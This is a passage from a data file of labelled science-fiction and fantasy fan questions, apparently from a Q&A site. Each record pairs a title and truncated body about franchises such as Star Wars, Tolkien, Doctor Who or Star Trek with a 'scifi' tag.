Backward, where: Where did these people come from? Where did they go? ... ",['scifi'] "Title: Why didn't Darth Caedus give Tahiri Veila a Darth name? Body: Jacen Solo became Darth Caedus and took Tahiri as his apprentice. Yet why didn't he give her a new name with a Darth title? ",['scifi'] "Title: Looking for a 90s YA horror anthology Body: I believe it was a compilation of stories from various authors, and I believe it was a series of multiple books. I am usually a very good Googler but so far have come up empty. Some stories I ... ",['scifi'] "Title: Sci-Fi novel from *years* ago. Spaced-based in Solar System Body: I don't remember the title or the author or even if it is something I read as a kid. The setup is Humanity lives in various space-based tribes spread across the solar system with various political ... ",['scifi'] "Title: 1970s SF story of aliens on earth farming brains for use in war machines - anyone read it and remember what it was called? Body: The aliens were often disguised as pretty women and the protagonist goes underground to battle them but is overpowered and ends up waking up as an alien tank on another world. He manages to ... ",['scifi'] "Title: A book about an exiled princess, possibly 80's or early 90's Body: I'm looking for a book I read in the early 90's about a princess who is exiled after her family is murdered. I remember her family shared the throne with another family (her cousin I think). I believe ... ",['scifi'] "Title: Could the Hulk have an adamantium skeleton implanted? Body: If they managed to get adamantium onto Banner's skeleton (somehow repressing the change like they tried to do in the movie), and then allow him to become the Hulk - would this stop him from growing ... ",['scifi'] "Title: What is the total number of people killed on the 2 Death Stars when they exploded? Body: The First Death Star exploded during the Battle of Yavin. The Second Death Star exploded during the Battle of Endor. What is the total number of people killed on the 2 Death Stars when they exploded? ... ",['scifi'] "Title: Is 'the age of legends' similar to modern day Earth? Body: In Jordan's Wheel of Time saga, there are references to the changed landscape since 'the breaking of the world', but there are also a few mentions of particular items or ideas of 'the age of legends' ... ",['scifi'] "Title: Do all spells require wand movements? Body: In Harry Potter's early years, when he's taught the 'Wingardium Leviosa' spell, the spell require some wand movement. If you get the movement wrong, the spell will not work or it will malfunction. But ... ",['scifi'] "Title: How did the Rebel Alliance survive at Endor? Body: After the destruction the second Death Star the Rebel Alliance assumes a victory over the Empire at Endor; we see a big celebration on Endor (and across the galaxy in the ""special"" editions). But how ... ",['scifi'] "Title: Where did Luke train between ESB and RotJ Body: In Return of the Jedi Luke displays a greater affinity with the Force and increased skill with the lightsaber, not to mention having learned to build his own. Where did Luke hone his skills between ... ",['scifi'] "Title: A human convict ex military transformes into an alien! Body: This is a short science fiction story (like The Outer Limits). It's about a convict (ex military) who has the choice between death or being injected with some alien virus. He is slowly transformed ... ",['scifi'] "Title: Why didn't Tony Stark initiate the House Party Protocol earlier? Body: At the end of Iron Man 3, Tony tells Jarvis to initiate the House Party Protocol, which: However, prior to that he'd been working on restoring the Mark 42 unit he had been wearing, but which had ... ",['scifi'] "Title: How does Iron Man's Arc Reactor work? Body: In the film we can see him making a miniature simplified Arc Reactor with palladium and so on. I know it is like a mini nuclear reactor, but what exactly are its inner workings or principles? ",['scifi'] "Title: Why was Conan freed by his former owner? Body: In Conan the Barbarian, the plot seems to have the following sequence: Thulsa Doom destroy's Conan's village and enslaves women and children. Profit motive for the latter - he can sell the slaves. ... ",['scifi'] "Title: Anatomy and the polyjuice potion Body: Polyjuice potions are used a lot through the Harry Potter story, and it's an established fact that it accounts for both age and gender. The only known limitation is that it is only intended for taking ... ",['scifi'] "Title: How did no one notice weapons firing near the moon? Body: Spoilers: What gives? Was the Earth's defense force asleep or something? ",['scifi'] "Title: Did the progams know that Flynn was still in the grid? Body: After Clu's coup d'état did programs know that Flynn didn't exit the Grid? Clu knew, because he was looking for Flynn and eventually used tactics to try and draw him out. But did the population at ... ",['scifi'] "Title: Is there an actual time calculation in Inception? Body: In the movie, they (Cobb and his partners) are drawn into multiple layer of dream, and they said that if you're going further/deeper, you'll find the time in real world or previous layer is ... ",['scifi'] "Title: What happens after the events of All Star Superman? Body: I just finished watching this movie. Is there a follow up? Or was this a one off? How do the events of this movie fit into the main continuity? ",['scifi'] "Title: Where can ghosts go? Body: So there are quite a few ghosts in Harry Potter, but none of them seem to go anywhere exotic. They mostly hang around familiar places or decide to haunt some building (the Hogwarts ghosts ""haunt"" ... ",['scifi'] "Title: White Walkers sparing the odd member of the Night's Watch Body: Why do White Walkers spare members of the Night's Watch such as Will from the pilot episode and Samwell Tarly, although they don't seem like a merciful species? ",['scifi'] "Title: Have the Silence always worn suits? Body: In Doctor Who, the Silence are always portrayed as wearing suits with a white collared shirt and a tie. Is it explained whether they have always worn this? Humans do not perceive them so there is ... ",['scifi'] "Title: Are there true references of Clara in the classic episodes? Body: Please keep in mind I have only seen few of the classic episodes, so this may be very obvious for anyone that did see them. The Name of the Doctor spoilers: ",['scifi'] "Title: Young adult fantasy series from the late 70s or 80's, published by 1988, 4 books total Body: I'm trying to find a 4 book young adult fantasy series. I read it in the mid-80's and I found it in the juvenile/young adults section of my local library. In the first book, something terrible ... ",['scifi'] "Title: Television series about scientists doing research on a space station Body: I think it was aired in the 1990s. A group of scientists are doing research on a space station. One of the characters finished in the Physics department then became interested in molecular biology and ... ",['scifi'] "Title: Fantasy Novel with 'Legacy' in the title about an Elf trader Body: I read this book in on a deployment in Afghanistan. It came out of a MWR, and it had no cover, and most of the binding was ripped. The only surviving identifier was part of the title off the spine, ... ",['scifi'] "Title: When is a body coming back? Body: I have a feeling this was answered in the movie but I can't find it anywhere. How do the loopers know when a person is coming back in time that they need to kill? I saw him pick up a piece of paper ... ",['scifi'] "Title: Why was the Tardis in a museum? Body: According to wikipedia, the Doctor took the Tardis from a museum. The Doctor's TARDIS was for most of the series' history said to have been stolen from the Time Lords' home planet, Gallifrey, ... ",['scifi'] "Title: What Silence fell? Body: When Doctor gets to Trenzalore, ""Silence"" was supposed to fall. In the Name of the Doctor I can name a few things that fell: The TARDIS Clara The Doctor and maybe a few more that I do not remember. ... ",['scifi'] "Title: Does Cinnamon Bun have brain damage? Body: In 'The Enchiridion', Cinnamon Bun attempts to do a flip but instead bumps his head. From that point on, Cinnamon Bun appears to act 'off' as though he isn't all there. A lot of the evidence for his ... ",['scifi'] "Title: What was the origin of the night creatures in the Riddick universe [duplicate] Body: In the movie Pitch Black, the space vessel transporting Riddick and 40 other passengers crashes on a desolate planet after presumably being damaged by meteors. On that planet, there is permanent ... ",['scifi'] "Title: What book and chapter matches with episode 8 season 3 from Game of Thrones TV Series? [closed] Body: I first started watching the TV show and after some time I learned that waiting for the next episode/season is a torture to me, so after having completely watched the first two seasons I decided to ... ",['scifi'] "Title: In Star Trek: Into Darkness, why isn't the antagonist more careful? Body: I tried to make the title as specific as possible without being a spoiler. In the movie, Why didn't the villain, with his super intelligence, see through this, when the entire audience could? ",['scifi'] "Title: VW Beetle Spaceship Body: In the late 60's/early 70's, I read a novel about aliens who came to help Earth. I remember only two details: (1) they turned the coffee in the Pentagon green in an attempt to get people to take them ... ",['scifi'] "Title: Looking for story about man on televised trial, presents plans for laser gun Body: would like to find a story about a man (maybe a farmer/rancher?) on trial for something I thought farm-related, which is live-televised to the world, who presents the plans for a homemade laser- or ... ",['scifi'] "Title: Group of people on a boat being killed off by a slimy thing Body: I saw a movie on TV many many moons ago, where a group of people were on a boat, in very calm water (a lagoon) and were being killed off, one at a time. The perpetrator was some slimy thing from below ... ",['scifi'] "Title: Why did Bruce Wayne not contact Rachel after he returned from his years abroad? Body: In Batman Begins, Bruce Wayne is abroad to study the criminal mind and to join the League of Shadows for several years. When he returns to Gotham City, Rachel - his ""oldest and best friend"" - hears of ... ",['scifi'] "Title: Why is the name “Harkonnen” used on Seras' cannon in Hellsing? Body: After reading an interesting post on the ""anti-midian"" meaning of Seras' battle rifle/cannon thing, I would like to know what the motif of Vladimir Harkonnen from the ""Dune"" series has to do with her ... ",['scifi'] "Title: When is a new house created? Body: In the Game of Thrones political power and military might seems to be mainly determined on a the house system (Lannister, Stark etc). Under what circumstances is a house created? Marriages seem to ... ",['scifi'] "Title: How do the houses select their sigils? Body: In Game of Thrones the various houses have various sigils and emblems. Some of these are particularly cool (like lions and wolves etc) but others less so. How does a house select it's sigil? What ... ",['scifi'] "Title: Is divorce allowed in Westeros? Body: The title is not really my question, but let me first speak about the spoiler level. This question points to an event that occur in A Storm of Swords (mid-book ?). Its equivalence in the TV show is ... ",['scifi'] "Title: Why did these characters [spoiler] not die in the Dr Who “The Crimson Horror” episode? Body: In the episode The Crimson Horror The Doctor, Clara, and 3 others were all inside the Why did they not It wasn't very realistic for this to happen this way, how was a big detail like this ... ",['scifi'] "Title: Doesn't Paarfi's description of Mario's defeat of the Orb constitute treason? Body: In Five Hundred Years After, Paarfi describes in some detail the means by which Mario Greymist manages to disable the Orb long enough to kill the Emperor. Since, in-universe, FHYA is also a book ... ",['scifi'] "Title: Why didn't the Aplans come back to life? Body: In the Doctor Who two-parter Time of Angels/Flesh and Stone, a race called Aplans is mentioned. The Aplans were said to have been wiped by the Weeping Angels in the maze. When the Doctor threw them ... ",['scifi'] "Title: Crime investigation involving quantum computers Body: I read a book a while ago, yet cannot for the life of me remember its name. Sorry I cant be more specific but I'm pretty sure it was within the last 2 years. Couldn't say if it was new. But it was ... ",['scifi'] "Title: Does Superman have super powers outside of our solar system? Body: As far as I know, Superman has super powers because of Sun in our solar system. In Superman/Batman: Apocalypse he goes out of the solar system to fight Darkseid. I don't know if this happened before. ... ",['scifi'] "Title: Scifi short story with a star in a jar Body: When I was in elementary school, I remember borrowing a science fiction short story collection from the library. It had a number of great stories in it, but I've never been able to find it as an ... ",['scifi'] "Title: What did Darth Vader do for nineteen years? Body: We see Anakin, who's just been rescued, in his brand new suit; almost all of Palpatine's (and his) enemies defeated, the universe at his feet and his imagination as the only limit. Then, some ... ",['scifi'] "Title: What's the name of the galaxy far, far away? Body: Has the in-universe name of the Star Wars galaxy ever mentioned in the canon? ",['scifi'] "Title: Can inconsistencies in technology level in the world of Pokémon be explained? Body: I was thinking about this the other day. In the games/show Pokémon, there seems to be very different levels of technological advancement. For example, they can teleport complex beings through ... ",['scifi'] "Title: Why do some of the doors close rapidly? Body: Certain Star Wars' doors close rapidly, almost instantaneously. Is this feature perhaps limited only to ""blast doors""? Is there a canon reason provided for why they are engineered so? They also ... ",['scifi'] "Title: Are 'robot' and 'droid' used interchangeably? Body: In Episode IV, after Luke is rescued from the Sand People by Ben Kenobi, he refers to C-3PO and R2-D2 as robots rather than droids. This struck me as odd as the latter seems to be the preferred term ... ",['scifi'] "Title: What was Cobb's totem before the spinning top? Body: The movie explains that Cobb adopted Mol's totem after her death. Do we ever know what his totem was before he adopted her spinning top? ",['scifi'] "Title: Warp 13… Was this overlooked? Body: In the final episode of TNG (All Good Things) Captain Beverly Picard, and Admiral Riker both travel at Warp 13, but in Voyager the warp limit is warp 10. In VOY: Threshold Tom Paris breaks warp 10 ... ",['scifi'] "Title: Why could Aragorn heal Éowyn but not Frodo? Body: Aragorn could heal Éowyn with Athelas, but he could not heal Frodo of a similar wound. Why not? Both wounds resulted from a Black Rider. ",['scifi'] "Title: Where did Bilbo wander? Body: When Bilbo was talking with Frodo when he arrived at Rivendell, Bilbo said that he had wandered for a while. After he wandered for a while, He arrived at Rivendell and went to Dain with some dwarves. ... ",['scifi'] "Title: Why is Harry taking Divination in Year 4? Body: ""Double Divination this afternoon,"" Harry groaned, looking down. Divination was his least favorite subject, apart from Potions. Professor Trelawney kept predicting Harry's death, which he found ... ",['scifi'] "Title: Why didn't Stargate Command continue to fast dial the gate? Body: The Stargate Command dialing computer allows for the dialing of a gate without a corresponding Dial Home Device (DHD). While the custom dialing system has certain advantages, one of it's biggest ... ",['scifi'] "Title: The Valar and their power to create Body: In The Silmarillion it is said that only Eru possesses the Flame Immperishable, and thus only he can create life. For example, when Aulë tries to create the dwarves, these result in a kind of ... ",['scifi'] "Title: What is the point of Sauron making the One Ring? Body: Why would Sauron make himself a ring that he invested most of his power in? Wouldn't it be better to keep the power in his physical form and not risk leaving his power in a physical form that could be ... ",['scifi'] "Title: Why can the dead men of Dunharrow kill the corsairs from the South? Body: When I read this question, I had another question: Why can the dead men of Dunharrow kill the corsairs from the south if they are immaterial ghost? ",['scifi'] "Title: Why weren't the Tollan named 'The Fifth Race'? Body: In Stargate SG-1 we learn of an alliance of four great races in the episode The Fifth Race. It is also in this episode that the Asgard tell Jack that humanity is on it's way to becoming the fifth ... ",['scifi'] "Title: How essential is JARVIS to the Iron Man/War Machine armors? Body: We have already discussed How Rhodey fit INTO the War Machine armor, but there's another major issue with other people using the armor(s): use/control of it. In the movies, Tony seems to be almost ... ",['scifi'] "Title: What is the origin of the “Riker Chair Maneuver”? Body: A video compilation of Commander Riker sitting down has recently been going around the Internet. It demonstrates something that I had never noticed before: Riker has a rather... unusual approach to ... ",['scifi'] "Title: What happens with Krypto when Superman becomes an adult? Body: When Superman is a boy, Krypto is always around but never appears when Superman is adult. What is the reason that Krypto no longer appears? ",['scifi'] "Title: Why was a fox able to think about the hobbits on the road to Rivendell? Body: When Frodo, Pippin, and Sam were traveling to Rivendell, they slept under a tree the first night. Tolkien writes about a fox that wonders to himself why three hobbits were sleeping under a tree. Why ... ",['scifi'] "Title: Inception - The Spinning Top is the un-totem Body: In the movie Inception, the concept of a Totem is that is has a special distinguishing feature, maybe weight or dimension or feel or something else - i.e. its different from a run of the mill piece of ... ",['scifi'] "Title: What are the SciFi children's books from the 80s about a professor who used his smoking pipe to teleport himself, a girl and a boy to other worlds? Body: I cant remember the name of these books but they are old SciFi children's books from the 80s about a professor who used his smoking pipe to teleport himself, a girl (I think his niece or grand ... ",['scifi'] "Title: Short story about Tibetan monks who want to know the name of God? Body: I can't remember the title or the author of the following story: Some Tibetan monks want to know the name of God. They buy a supercomputer in order to calculate the name. Then... ",['scifi'] "Title: What is the armor in the RDJ Iron Man's outfit made of? Body: What kind of material is the Robert Downey Jr. Iron Man's armor supposed to be made from? I know he crafted the prototype from the things he had on hand, but once he was able to build the next one(s) ... ",['scifi'] "Title: How can an old dead tree suddenly spring to life and cast its petals on Aragorn's coronation? Body: There's a dead, gnarly old tree in the courtyard outside of Denethor's 'throne room' on the top level of Minas Tirith. Gandalf told Pippin that it's called the White Tree of Gondor. We see it several ... ",['scifi'] "Title: Is Star Trek Online part of the Star Trek universe/timeline? [duplicate] Body: Are the events in Star Trek Online technically part of the Star Trek timeline? If not, why not? To my knowledge, CBS has to approve everything they put into STO. Does that make it official Star Trek? ... ",['scifi'] "Title: Is there a king or queen of Equestria? Body: Typically, princes and princesses are the children of the king and queen. So far, we have seen princes and princesses in Equestria (Celestia, Luna, Blueblood, Cadence, Shining Armor) and saw ... ",['scifi'] "Title: How do Orcs breed/reproduce? [duplicate] Body: Okay, I know this question has come up many many times before. But let's approach one more time. Yet this is held true by the wise of Eressea, that all those of the Quendi who came into the ... ",['scifi'] "Title: Why arent there 3 slayers? [duplicate] Body: When Buffy Dies at the end of season 1, Kendra is activated. When Kendra dies, Faith is activated. Why doesn't Buffy's death at the end of season 5 activate a thrid slayer? ",['scifi'] "Title: Why aren't transporters used for medical purposes? Body: If a Star Trek Transporter can remember the physical state of a person it transports from point A to point B, then why couldn't it heal an injured person it has transported back to their uninjured ... ",['scifi'] "Title: What is the point of Sweetville? Body: In the Doctor Who episode The Crimson Horror, ""only the brightest and the best"" are invited to live in Sweetville. Why? Was it ever mentioned what they were doing there? ",['scifi'] "Title: What do the White Walkers do with the baby boy gifts from Craster? Body: When Craster gives away the baby boys to the White Walkers, what happens? Do the baby boys become snacks at a White Walker party? Made into something else with magic? ",['scifi'] "Title: When someone tries to fire Roland's pistol he nearly breaks his arm. Just what exactly does the book mean when it says “pistol”? Body: In the Dark Tower by Stephen King, Roland has a pistol. It is described as being quite powerful, and having an enormous kickback to the extent of nearly breaking someone's arm when he tries to fire ... ",['scifi'] "Title: How did the villain expect this part of his plot to work? Body: Apologies for the generalities, but I'm trying to avoid spoilers, even within my spoiler tags. When the full extent of Iron Man 3's plot is revealed, we see the This is an effective tactic - it ... ",['scifi'] "Title: Is Wolverine sterile? Body: Pretty much just that...it seems like there would be a lot of little (and not so little) Wolverines running around by now if not. Surely this is addressed somewhere in the comics. ",['scifi'] "Title: What does Anderson sense about Judge Dredd in the movie? Body: In the beginning of the movie Dredd (3D), there was a scene where Dredd meets Anderson and she makes a demonstration of her psychic powers. She is placed in an interogation room and she starts by ... ",['scifi'] "Title: Is being a Time Lord a dominant trait? Body: Is there anything referenced in Dr. Who and any other related species that shows that being a Time Lord is a dominant trait? I remember watching an episode where Dr. Who started out as a John Smith, ... ",['scifi'] "Title: Is there enough of evidence that Sansa Stark turning against House Stark? Body: I've always thought Sansa was a traitor to the House Stark. My memory is fading as the last time I read the book was then A Dance of Dragons were not there yet. Is there enough evidence of her falling ... ",['scifi'] "Title: Enterpise S01E18 Rogue Planet: Is the planet the same one the changelings are from in DS9? Body: The shape shifters on the rogue planet are they actually the changelings that create the dominion ? Seems a big coincidence to have two rogue planets with shape shifters on it. ",['scifi'] "Title: Possible Warehouse 13 continuity discrepancy in the recent Living and the Dead Episode? Body: I just watched the 2nd half of the Warehouse13 Episode ""The Living and the Dead."" and wanted to see if I missed something in the flow with which the folks here can help. Spoiler Alert Is this a ... ",['scifi'] "Title: Reading order of Tolkien's middle-earth books [duplicate] Body: I have these books written by J.R.R. Tolkien: The Silmarillion The Hobbit All three LOTRs Which reading order is the best to get the complete story? The one I wrote up above, or? ",['scifi'] "Title: How long do Klingons live? Body: Having only watched some the first 5 seasons of TNG I was wondering if there is any reference to how long Klingons live? During the series I haven't heard any reference to how old Worf is. ",['scifi'] "Title: Does Rose appear in future episodes of Doctor Who or Torchwood? Body: At the end of season 2 during the stint of he 10th Doctor played by David Tennent, Rose (Billie Piper) is left behind in a parallel universe, ending her character's arc on the series. She suggests at ... ",['scifi'] "Title: Science fiction novel about benevolent aliens landing on Earth Body: I read this when I was a child (late 90's to early 00's - your cue to feel old) so my memory of the details is a bit hazy, but the story concerned an alien race making contact with humans. The main ... ",['scifi'] "Title: How does Borg technology spread when assimilating a starship? Body: In Star Trek:First Contact, entire decks are ""assimilated"" with Borg technology within a matter of hours. Do Borg structures, such as alcoves, ""grow"" by themselves (kind of like implants), or are ... ",['scifi'] "Title: Did Ilúvatar anticipate Melkor? Body: Did Ilúvatar know that Melkor would 'turn bad'? Was it part of his vast design? Tolkien often hints that also Morgoth's evil is part of the grand plan, and that he does the will of Ilúvatar in the ... ",['scifi'] "Title: Did Mazer Rackham have a tattooed face in Ender's Game book? Body: The first image of Ben Kingsley as Mazer Rackham has surfaced recently : I did not remember him described has having a tattooed face in the book. Is this an addition made to the character ... ",['scifi'] "Title: What happened to Frodo's sword? Body: In 'A Knife in the Dark', Frodo slashes at the Black Rider. Later in the Book, it is said that no weapons can harm the Nazgûl and survive. Why didn't Frodo's blade melt? He still has it afterwards, as ... ",['scifi'] "Title: Why don't Starfleet ships transport injured crew members to sick bay automatically? Body: There have been countless times when a Starfleet ship is not in battle and a crewmember has been injured and rendered unconscious. When someone says ""Computer, locate X"", the computer says where they ... ",['scifi'] "Title: How much footage (approximately) exists of Star Trek Phase Two? Body: I knew that such a televisions series had been proposed in the late 1970s, but was unaware that it was more than a conversation between producers and financers until just today. Apparently some sets ... ",['scifi'] "Title: What Race of Beings live on the Planet Terminus? Body: I'm trying to write a Star Wars story in which Terminus attacks a planet that I've made up and I need to know what kind of beings live on the planet. Terminus is an Outer-Rim planet. ",['scifi'] "Title: Why didn't Tony Stark removed the pieces of shrapnel in his chest? [duplicate] Body: In the movie canon Tony needs the ARC reactor in order to prevent the shrapnel to kill him... ",['scifi'] "Title: What are the original titles of books I-VI of the Lord of the Rings? Body: I read that Tolkien didn't want to make the Lord of the Rings three books, and that the only ""natural divisions are the 'books' I-VI (which originally had titles)"" What are those titles? ",['scifi'] "Title: Did Kirk make a racist remark? Body: In Star Trek (2009) there is a scene in which Kirk is accused of academic misconduct by Spock. After Spock's speech, Kirk remarks quietly to McCoy something about that ""pointy eared bastard"". Now, ... ",['scifi'] "Title: SF book with long distance running as an element of military tactic Body: I'm looking for the title of the book (and name of the author), in which one of elements of a ""particular military tactic"" is long distance running. All I know is that the book is originally in ... ",['scifi'] "Title: Which FRINGE division is more advanced? Body: In the Television series, FRINGE, out of the two parallel universes, the original one and the one from where peter was stolen, which has a better FRINGE division in terms of awareness about the ... ",['scifi'] "Title: How do I place a stationary wormhole on a planets surface? Body: In the Commonwealth Saga by Peter F. Hamilton (and many other universes) the planets are connected by large wormholes, that stay on the surface of the planets, so you can travel through with vehicles ... ",['scifi'] "Title: Relative morality among aliens: human individualism vs insect collectivism vs hedonism Body: I once came across an online science fiction story dealing with the relativity of morality. In it, humans on an interstellar mission come across a kind of insectoid species with crystaline bodies (if ... ",['scifi'] "Title: What movie has a scene near the end where a guy gets covered by newspapers blown by the wind, then disappears? Body: I saw this movie on TV, cable, or Cinemax, at least 10 years ago, maybe 20. I don't think it was sci-fi, but maybe involved ""magic"" of some kind, and was set in a large city. (NYC or Chicago ... ",['scifi'] "Title: Why didn't Morgana reveal that Merlin was a warlock to Arthur? Body: Many times Morgana tried to kill Arthur and Merlin, and each time she failed. Why didn't she simply reveal that Merlin was a warlock in order to fracture the long-term friendship between Arthur and ... ",['scifi'] "Title: Professor X's mind reading and Wolverine's adamantium skull Body: Can Professor X read the mind of Wolverine even if he has an adamantium skull? ",['scifi'] "Title: Are there continuity problems with River Song and her PhD? Body: If I remember correctly River had just graduated the day she was put in the astronaut suit and forced to kill the Doctor. So...she was a Professor. In Flesh and Stone, the Doctor and River talk on ... ",['scifi'] "Title: Is Iron Man 3's ending based in any canonical source? Body: At the end of Iron Man 3: Does this happen in any other canonical source? And if so, how does the story continue? ",['scifi'] "Title: Numenorean Interaction With Other Men Body: I'm interested in the relationship between the Numenoreans and other men. Specifically early in the history of Middle Earth LOTR, Appendix F; 1. ""Of men"": After the overthrow of the Dark Power, ... ",['scifi'] "Title: What happened to Continental drift in Fringe Prime? Body: In episode 6 of season three, Fringe ""6955 kHz"". A secret code from a civilization millions of years old (before dinosaurs means more then 230 million years ago), is decoded and leads to the ... ",['scifi'] "Title: Were the Air Nomads all monks? Body: In A:TLA we never see more of the Air Nomads than the monks living at the various Air Temples. Did other Air Nomads exist outside of the Temples in the world at large? ",['scifi'] "Title: Family negating mutations Body: I was just reading Wolverine and the X-men 26 and 27 and remembered the questionHow to Kill Wolverine? My question stems from the fact that in mutants siblings' mutations cannot harm each other, for ... ",['scifi'] "Title: Other Sibling Avengers? Body: Joss Whedon spoke on The Avengers 2 to Yahoo, and said: I've got these two characters, y'know. I've got two of my favorite characters from the comic books, a brother/sister act. They're in the ... ",['scifi'] "Title: Aftermath of the destruction of the Ring [duplicate] Body: Were there any major events or stories that happened after the destruction of the Ring or was that the final storyline of Tolkien? ",['scifi'] "Title: Theon's words in season 3 episode 4 Body: In episode 4 of Game of Thrones season 3, what did Theon mean when he said ""my real father lost his head at King's landing? ",['scifi'] "Title: What was depicted on the cup with black liquid in first scene of Prometheus? Body: The black liquid is seen in sacrifice scene. An engineer opens the cup and consumes the black liquid, which disintegrates his body. There was some embossed image on the cover of the cup. It looks like ... ",['scifi'] "Title: all production performed by robots. Higher ranking humans are required to consume lessthan lower ranking individuals [duplicate] Body: I read this story many years ago. In the future, all industrial production had been taken over by machines. The problem then became the need to consume the stuff produced, so people were assigned ... ",['scifi'] "Title: Why didn't PROXY have/use these combat modules? Body: Why didn't PROXY have/use these combat modules: for example General Grievous or Mace Windu or even Yoda? Grievous would be a great challenge, Windu as well and Yoda? Would they be too hard, and that's ... ",['scifi'] "Title: How does the shield work in Sunshine? Body: The shield in the movie Sunshine (2007, Danny Boyle), appears to be made of ""panels"", that seem to move to face the Sun. How does it work? I mean, I know it's not exact science, but surely there was ... ",['scifi'] "Title: Differences between different incarnations of The Flash Body: As far as I know there are 4 characters who have taken the mantle of The Flash: Jay Garrick, Barry Allen, Wally West and Bart Allen. Why are there so many versions? Do they have any differences in ... ",['scifi'] "Title: Reading order of “A Song of Ice and Fire” Body: I've become hooked on HBO's A Game of Thrones, so I was going to read the books. However, I'm a little confused as to which order to read them since there are novellas based on chapters of the ... ",['scifi'] "Title: Contribution of Leigh Eddings Body: Do we know how much or what exactly Leigh Eddings' contributions were to the Belgariad, Malloreon, Elenium, and Tamuli? Did David provide a reason why she was not initially credited for the works? ... ",['scifi'] "Title: What happened to the other Forerunners? Body: MAJOR SPOILERS In the recent novel HALO: Silentium, it was revealed that Also, at the end of Silentium, the Librarian is on Earth, creating the Portal discovered in HALO 3, but Halo.wikia says: ... ",['scifi'] "Title: How was Cortana going to detonate In Amber Clad's reactor? Body: In the beginning of High Charity level of Halo 2: Cortana: ""That structure, at the center of the city... it's a Forerunner Ship! And Truth is heading straight for it! If he leads the Covenant ... ",['scifi'] "Title: Uluru in Heroes Body: While Heroes may have gone downhill fast after its second season, the beginning had some great storytelling, often with some augmented reality elements connecting the show to some of the out-of-show ... ",['scifi'] "Title: Slelling and karking Body: Long ago I read a book that coined the terms 'slelling' (illegally sampling someone else's DNA) and 'karking' (altering DNA). I reckon we're gonna need these verbs in general conversation real soon ... ",['scifi'] "Title: Live action Australian/New Zealand superhero kids show from mid-2000s Body: I was just wondering if anyone could help me figure out the name/synopsis of this kids show. What I remember of it: The show was live action, and about 2 kids (a boy and a girl) who discover the base ... ",['scifi'] "Title: A book about a boy searching for his missing father, the spaceship navigator Body: I read a scifi book back in the late 1970's or early 1980's but I think it was written much earlier, possibly in the 1950's or 1960's. It was the story of a (possibly teenage) boy (whose name may have ... ",['scifi'] "Title: What species is on the cover of Fornax? Body: I don't recognize this from any of the games. It looks vaguely like a rachni, but I strongly doubt it is. Is it ever confirmed that it is a rachni, or is there another species I'm not thinking of that ... ",['scifi'] "Title: Why don't ships in Star Trek go above the galactic plane? Body: Related to Why do Star Trek vessels always approach each other on parallel planes?, but on a larger scale. The premise of Star Trek: Voyager is that the ship Voyager is stranded from Earth on the ... ",['scifi'] "Title: Which planet was mentioned at Kobol [spoilers] Body: When the humans reach Kobol and enter the tomb of Athena, they realize that Earth is the planet where the 12 constellations and the nebula are visible from. Which Earth was referred to here? Was it ... ",['scifi'] "Title: Why did the Votans come to Earth in particular? Body: After watching the pilot episode, I took a look at Wikipedia for more information on the different Votan species, and this caught my eye: The Votanis star system was destroyed in a stellar ... ",['scifi'] "Title: Why didn't the Portal Gun fail to create a Portal on the Moon? Body: In the end of Portal 2, I fired the portal gun to the Moon. And it worked, which created a quantum tunnel between Moon's surface and Floor below Wheatley - sucking Wheatley out into space. Throughout ... ",['scifi'] "Title: TV show about cells living like humans do in our body Body: I can't remember this show about a blue humanoid cell and his robotic friend/sidekick who live like humans do but inside a human's body and try to stop other things from damaging the human's body. ",['scifi'] "Title: Why is Theon Greyjoy so easily convinced to side with his family? Body: Why is Theon Greyjoy so easily convinced to side with his family and go against the Starks, even though he has been emotionally connected to them through all these years? Knowing only the TV show, ... ",['scifi'] "Title: Did Heinlein invent the term “boot-chevrons” or did an actual military use it? Body: In Starship Troopers the recruits that are given leadership positions in boot camp are said to have boot chevrons. I've never seen the term used elsewhere until I read the Starship Trooper-esque A ... ",['scifi'] "Title: Why does Cirdan give Narya to Gandalf instead of Saruman? Body: In the Lord of the Rings I recall some mention of when Cirdan gives Narya to Gandalf when the Istari arrive in Middle Earth. I think it is in the appendices but I cannot recall exactly, but I remember ... ",['scifi'] "Title: Why was the cyborg Darth Vader wheezy? Body: The cyborg General Grevious was wheezy because he was trying to maintain the last remnants of his biological self in his mostly mechanical body. With the high level hi-tech cloning technology and the ... ",['scifi'] "Title: Why do the policemen in Batman Beyond have a 5 emblem on their uniforms? Body: Why do the police in Batman Beyond all have a 5 on their uniforms? ",['scifi'] "Title: Was Boomer meant to actually kill this person and if so why was her attempt to so poor? Body: At the end of series one of Battlestar Galatica, we see Boomer shooting Adama twice in the body at near point blank range. As a member of the military (and a Cylon), if her true intention was to kill ... ",['scifi'] "Title: Understanding the Table of Contents of Philip K. Dick's novel, “A Maze of Death.” Body: At the beginning of Philip K. Dick's novel, A Maze of Death, he provides a table of contents which, other than the chapter and page numbers, appears to have no connection to the actual content of the ... ",['scifi'] "Title: Did Mad-eye Moody lose a buttock? Body: Did he lose a buttock by igniting his pants with his wand? 'Dont put your wand there, boy!' roared Moody.'What if it ignited? Better wizards than you have lost buttocks, you know!' 'Who d'you ... ",['scifi'] "Title: Are the Hogwarts Potion Books intentionally misleading? Body: They don't seem to be giving the correct instructions in concocting the potions- as seen when Hermione isn't able to make her draught in Slughorn's class. ",['scifi'] "Title: How would the Hulk's transformation affect an artificial joint? Body: I was wondering, should the (comic book) Hulk get an artificial joint, if his transformation process would remain the same. Can the Hulk's natural strength be retained or reproduced synthetically ... ",['scifi'] "Title: Time traveling boy takes girl to two-caste future; what book was this? Body: I hardly remember anything about the series, except that a girl meets a boy from the future, and he takes her back there. The society has become double-tiered, with the rich living on a new surface ... ",['scifi'] "Title: Identify this story about a quickly healing woman Body: Years ago I read a short story about a woman trying to commit suicide. However, because she had a extremely high rate of healing, her wounds were never fatal. The story ends with her being in the ... ",['scifi'] "Title: Boy and girl living in an underground city (post nuclear?) Body: I probably read this children's science fiction story in the late 1960s, so the similar-sounding 1980 book, ""This Time of Darkness"" by Helen Hoover can not be it. It may have been a short story, but ... ",['scifi'] "Title: Where did the escapees from Ringworld end up? Body: I don't recall that Larry Niven provided any clues as to the fate of the Ringworld denizens that fled the structure via the space vehicles they constructed out of the stabilizing rockets(rim jets) ... ",['scifi'] "Title: Gauntlet of Kressh the Younger loophole? Body: The Gauntlet is said to protect the wearer from all harm, however What if the person wearing the gauntlet was exposed to a toxic gas or deadly pathogen? What if the wearer was launched into space ... ",['scifi'] "Title: Identify this Dragonlance(?) story with clever use of footnotes Body: Please help me identify a short story I remember reading ten or twenty years ago. It was probably in one of the Dragonlance books (maybe in the Tales series). I don't remember much of the plot. ... ",['scifi'] "Title: 